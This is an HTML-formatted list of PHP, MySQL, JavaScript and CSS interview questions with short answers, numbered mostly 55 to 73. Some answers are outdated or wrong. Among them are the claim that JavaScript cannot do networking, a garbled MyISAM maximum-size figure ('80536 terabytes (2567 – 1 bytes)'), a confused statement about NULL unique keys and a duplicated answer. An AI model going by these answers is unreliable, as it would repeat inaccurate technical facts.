&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 55&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the difference between abstract class and interface? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 55&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Abstract class: abstract classes are the class where one or more&lt;br /&gt;
methods are abstract but not necessarily all method has to be abstract.&lt;br /&gt;
Abstract methods are the methods, which are declare in its class but not&lt;br /&gt;
define. The definition of those methods must be in its extending  class.Interface: Interfaces are one type of class where all the methods  are&lt;br /&gt;
abstract. That means all the methods only declared but not defined. All&lt;br /&gt;
the methods must be define by its implemented class.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 56&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we send mail using JavaScript? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 56&lt;/b&gt;&lt;/td&gt; &lt;td&gt;JavaScript does not have any networking capabilities as it is&lt;br /&gt;
designed to work on client site. As a result we can not send mails using&lt;br /&gt;
JavaScript. But we can call the client side mail protocol &lt;b&gt;mailto&lt;/b&gt;&lt;br /&gt;
via JavaScript to prompt for an email to send. this requires the client&lt;br /&gt;
to approve it.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 57&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we repair a MySQL table? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 57&lt;/b&gt;&lt;/td&gt; &lt;td&gt;The syntex for repairing a MySQL table is&lt;br /&gt;
REPAIR TABLENAME, [TABLENAME, ], [Quick],[Extended]&lt;br /&gt;
This command will repair the table specified if the quick is given the&lt;br /&gt;
MySQL will do a repair of only the index tree if the extended is given&lt;br /&gt;
it will create index row by row&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 58&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the advantages of stored procedures, triggers, indexes?&lt;br /&gt;
&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 58&lt;/b&gt;&lt;/td&gt; &lt;td&gt;A stored procedure is a set of SQL commands that can be compiled and&lt;br /&gt;
stored in the server. Once this has been done, clients don&#39;t need to&lt;br /&gt;
keep re-issuing the entire query but can refer to the stored procedure.&lt;br /&gt;
This provides better overall performance because the query has to be&lt;br /&gt;
parsed only once, and less information needs to be sent between the&lt;br /&gt;
server and the client. You can also raise the conceptual level by having&lt;br /&gt;
libraries of functions in the server. However, stored procedures of&lt;br /&gt;
course do increase the load on the database server system, as more of&lt;br /&gt;
the work is done on the server side and less on the client (application)&lt;br /&gt;
side.Triggers will also be implemented. A trigger is effectively a type of&lt;br /&gt;
stored procedure, one that is invoked when a particular event occurs.&lt;br /&gt;
For example, you can install a stored procedure that is triggered each&lt;br /&gt;
time a record is deleted from a transaction table and that stored&lt;br /&gt;
procedure automatically deletes the corresponding customer from a&lt;br /&gt;
customer table when all his transactions are deleted.Indexes are used to find rows with specific column values quickly.&lt;br /&gt;
Without an index, MySQL must begin with the first row and then read&lt;br /&gt;
through the entire table to find the relevant rows. The larger the&lt;br /&gt;
table, the more this costs. If the table has an index for the columns in&lt;br /&gt;
question, MySQL can quickly determine the position to seek to in the&lt;br /&gt;
middle of the data file without having to look at all the data. If a&lt;br /&gt;
table has 1,000 rows, this is at least 100 times faster than reading&lt;br /&gt;
sequentially. If you need to access most of the rows, it is faster to&lt;br /&gt;
read sequentially, because this minimizes disk seeks.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 59&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the maximum length of a table name, database name, and&lt;br /&gt;
fieldname in MySQL? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 59&lt;/b&gt;&lt;/td&gt; &lt;td&gt;The following table describes the maximum length for each type of&lt;br /&gt;
identifier. &lt;br /&gt;
&lt;table border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr&gt; &lt;td&gt;&lt;span class=&quot;bold&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Identifier&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span class=&quot;bold&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Maximum Length&lt;br /&gt;
(bytes)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Database&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;64&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Table&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;64&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Column&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;64&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Index&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;64&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Alias&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;255&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;There are some restrictions on the characters that may appear in&lt;br /&gt;
identifiers:&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 60&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How many values can the SET function of MySQL take? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 60&lt;/b&gt;&lt;/td&gt; &lt;td&gt;MySQL set can take zero or more values but at the maximum it can&lt;br /&gt;
take 64 values&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 61&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the other commands to know the structure of table using&lt;br /&gt;
MySQL commands except explain command? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 61&lt;/b&gt;&lt;/td&gt; &lt;td&gt;describe Table-Name;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 62&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How many tables will create when we create table, what are they?&lt;br /&gt;
&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 62&lt;/b&gt;&lt;/td&gt; &lt;td&gt;The &#39;.frm&#39; file stores the table definition.&lt;br /&gt;
The data file has a &#39;.MYD&#39; (MYData) extension.&lt;br /&gt;
The index file has a &#39;.MYI&#39; (MYIndex) extension,&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 63&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the purpose of the following files having extensions 1) .frm&lt;br /&gt;
2) .myd 3) .myi? What do these files contain? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 63&lt;/b&gt;&lt;/td&gt; &lt;td&gt;In MySql, the default table type is MyISAM.&lt;br /&gt;
Each MyISAM table is stored on disk in three files. The files have names&lt;br /&gt;
that begin with the table name and have an extension to indicate the&lt;br /&gt;
file type.&lt;br /&gt;
The &#39;.frm&#39; file stores the table definition.&lt;br /&gt;
The data file has a &#39;.MYD&#39; (MYData) extension.&lt;br /&gt;
The index file has a &#39;.MYI&#39; (MYIndex) extension,&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 64&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is maximum size of a database in MySQL? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 64&lt;/b&gt;&lt;/td&gt; &lt;td&gt;If the operating system or filesystem places a limit on the number&lt;br /&gt;
of files in a directory, MySQL is bound by that constraint.The efficiency of the operating system in handling large numbers of&lt;br /&gt;
files in a directory can place a practical limit on the number of tables&lt;br /&gt;
in a database. If the time required to open a file in the directory&lt;br /&gt;
increases significantly as the number of files increases, database&lt;br /&gt;
performance can be adversely affected.&lt;br /&gt;
The amount of available disk space limits the number of tables.&lt;br /&gt;
MySQL 3.22 had a 4GB (4 gigabyte) limit on table size. With the MyISAM&lt;br /&gt;
storage engine in MySQL 3.23, the maximum table size was increased to&lt;br /&gt;
80536 terabytes (2567 â€“ 1 bytes). With this larger allowed table size,&lt;br /&gt;
the maximum effective table size for MySQL databases is usually&lt;br /&gt;
determined by operating system constraints on file sizes, not by MySQL&lt;br /&gt;
internal limits.The InnoDB storage engine maintains InnoDB tables within a tablespace&lt;br /&gt;
that can be created from several files. This allows a table to exceed&lt;br /&gt;
the maximum individual file size. The tablespace can include raw disk&lt;br /&gt;
partitions, which allows extremely large tables. The maximum tablespace&lt;br /&gt;
size is 64TB.&lt;br /&gt;
The following table lists some examples of operating system file-size&lt;br /&gt;
limits. This is only a rough guide and is not intended to be definitive.&lt;br /&gt;
For the most up-to-date information, be sure to check the documentation&lt;br /&gt;
specific to your operating system.&lt;br /&gt;
Operating System File-size LimitLinux 2.2-Intel 32-bit 2GB (LFS: 4GB)&lt;br /&gt;
Linux 2.4+ (using ext3 filesystem) 4TB&lt;br /&gt;
Solaris 9/10 16TB&lt;br /&gt;
NetWare w/NSS filesystem 8TB&lt;br /&gt;
Win32 w/ FAT/FAT32 2GB/4GB&lt;br /&gt;
Win32 w/ NTFS 2TB (possibly larger)&lt;br /&gt;
MacOS X w/ HFS+ 2TB&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 80&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;Give the syntax of Grant and Revoke commands? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 80&lt;/b&gt;&lt;/td&gt; &lt;td&gt;The generic syntax for grant is as following&lt;br /&gt;
&amp;gt; GRANT [rights] on [database/s] TO [username@hostname] IDENTIFIED BY&lt;br /&gt;
[password]&lt;br /&gt;
now rights can be&lt;br /&gt;
a) All privileges&lt;br /&gt;
b) combination of create, drop, select, insert, update and delete etc.We  can grant rights on all databse by using *.* or some specific&lt;br /&gt;
database by database.* or a specific table by database.table_name&lt;br /&gt;
username@hotsname can be either username@localhost, username@hostname&lt;br /&gt;
and username@%&lt;br /&gt;
where hostname is any valid hostname and % represents any name, the *.*&lt;br /&gt;
any condition&lt;br /&gt;
password is simply the password of userThe generic syntax for revoke is as following&lt;br /&gt;
&amp;gt; REVOKE [rights] on [database/s] FROM [username@hostname]&lt;br /&gt;
now rights can be as explained above&lt;br /&gt;
a) All privileges&lt;br /&gt;
b) combination of create, drop, select, insert, update and delete etc.&lt;br /&gt;
username@hotsname can be either username@localhost, username@hostname&lt;br /&gt;
and username@%&lt;br /&gt;
where hostname is any valid hostname and % represents any name, the *.*&lt;br /&gt;
any condition&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 66&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;Explain Normalization concept? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 66&lt;/b&gt;&lt;/td&gt; &lt;td&gt;The normalization process involves getting our data to conform to&lt;br /&gt;
three progressive normal forms, and a higher level of normalization&lt;br /&gt;
cannot be achieved until the previous levels have been achieved (there&lt;br /&gt;
are actually five normal forms, but the last two are mainly academic and&lt;br /&gt;
will not be discussed).First Normal FormThe First Normal Form (or 1NF) involves removal of redundant data&lt;br /&gt;
from horizontal rows. We want to ensure that there is no duplication of&lt;br /&gt;
data in a given row, and that every column stores the least amount of&lt;br /&gt;
information possible (making the field atomic).Second Normal FormWhere  the First Normal Form deals with redundancy of data across a&lt;br /&gt;
horizontal row, Second Normal Form (or 2NF) deals with redundancy of&lt;br /&gt;
data in vertical columns. As stated earlier, the normal forms are&lt;br /&gt;
progressive, so to achieve Second Normal Form, your tables must already&lt;br /&gt;
be in First Normal Form.Third Normal Form I have a confession to make; I do not often use Third Normal Form. In&lt;br /&gt;
Third Normal Form we are looking for data in our tables that is not&lt;br /&gt;
fully dependant on the primary key, but dependant on another value in&lt;br /&gt;
the table&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 67&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we find the number of rows in a table using MySQL? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 67&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Use this for mysql&lt;br /&gt;
&amp;gt;SELECT COUNT(*) FROM table_name;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 68&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we find the number of rows in a result set using PHP? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 68&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&lt;code&gt;$result = mysql_query($sql, $db_link);&lt;br /&gt;
$num_rows = mysql_num_rows($result);&lt;br /&gt;
echo &quot;$num_rows rows found&quot;;&lt;/code&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 69&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How many ways we can we find the current date using MySQL? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 69&lt;/b&gt;&lt;/td&gt; &lt;td&gt;SELECT CURDATE();&lt;br /&gt;
CURRENT_DATE() = CURDATE()&lt;br /&gt;
for time use&lt;br /&gt;
SELECT CURTIME();&lt;br /&gt;
CURRENT_TIME() = CURTIME()&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 70&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the advantages and disadvantages of Cascading Style&lt;br /&gt;
Sheets? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 70&lt;/b&gt;&lt;/td&gt; &lt;td&gt;External Style SheetsAdvantagesCan control styles for multiple documents at once. Classes can be&lt;br /&gt;
created for use on multiple HTML element types in many documents.&lt;br /&gt;
Selector and grouping methods can be used to apply styles under complex&lt;br /&gt;
contextsDisadvantagesAn extra download is required to import style information for each&lt;br /&gt;
document The rendering of the document may be delayed until the external&lt;br /&gt;
style sheet is loaded Becomes slightly unwieldy for small quantities of&lt;br /&gt;
style definitionsEmbedded Style Sheets Advantages&lt;br /&gt;
Classes can be created for use on multiple tag types in the document.&lt;br /&gt;
Selector and grouping methods can be used to apply styles under complex&lt;br /&gt;
contexts. No additional downloads necessary to receive style information&lt;br /&gt;
Disadvantages&lt;br /&gt;
This method can not control styles for multiple documents at once&lt;br /&gt;
Inline Styles&lt;br /&gt;
Advantages&lt;br /&gt;
Useful for small quantities of style definitions. Can override other&lt;br /&gt;
style specification methods at the local level so only exceptions need&lt;br /&gt;
to be listed in conjunction with other style methods&lt;br /&gt;
Disadvantages&lt;br /&gt;
Does not distance style information from content (a main goal of&lt;br /&gt;
SGML/HTML). Can not control styles for multiple documents at once.&lt;br /&gt;
Author can not create or control classes of elements to control multiple&lt;br /&gt;
element types within the document. Selector grouping methods can not be&lt;br /&gt;
used to create complex element addressing scenarios&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 71&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What type of inheritance that PHP supports? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 71&lt;/b&gt;&lt;/td&gt; &lt;td&gt;In PHP an extended class is always dependent on a single base class,&lt;br /&gt;
that is, multiple inheritance is not supported. Classes are extended&lt;br /&gt;
using the keyword &#39;extends&#39;.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 72&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the difference between Primary Key and&lt;br /&gt;
Unique key? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 72&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Primary Key: A column in a table whose values uniquely identify the&lt;br /&gt;
rows in the table. A primary key value cannot be NULL. Unique Key: Unique Keys are used to uniquely identify each row in the&lt;br /&gt;
table. There can be one and only one row for each unique key value. So&lt;br /&gt;
NULL can be a unique key.There can be only one primary key for a table but there can be more&lt;br /&gt;
than one unique for a table.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;&lt;br /&gt;
Question : 73&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;what is garbage collection? default time ? refresh time? &lt;b&gt; &lt;/b&gt;&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 73&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Garbage  Collection is an automated part of PHP , If the Garbage Collection  process runs,  it then analyzes any files in the /tmp for any session  files that have not been  accessed in a certain amount of time and  physically deletes them. Garbage  Collection process only runs in the  default session save directory, which is /tmp.  If you opt to save your  sessions in a different directory, the Garbage Collection process  will  ignore it. the Garbage Collection process does not differentiate between  which sessions  belong to whom when run. This is especially important  note on shared web servers.  If the process is run, it deletes ALL files  that have not been accessed in the directory. There are 3 PHP.ini  variables, which deal with the garbage collector:  PHP ini value name  default session.gc_maxlifetime 1440 seconds or  24 minutes  session.gc_probability 1 session.gc_divisor 100 &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
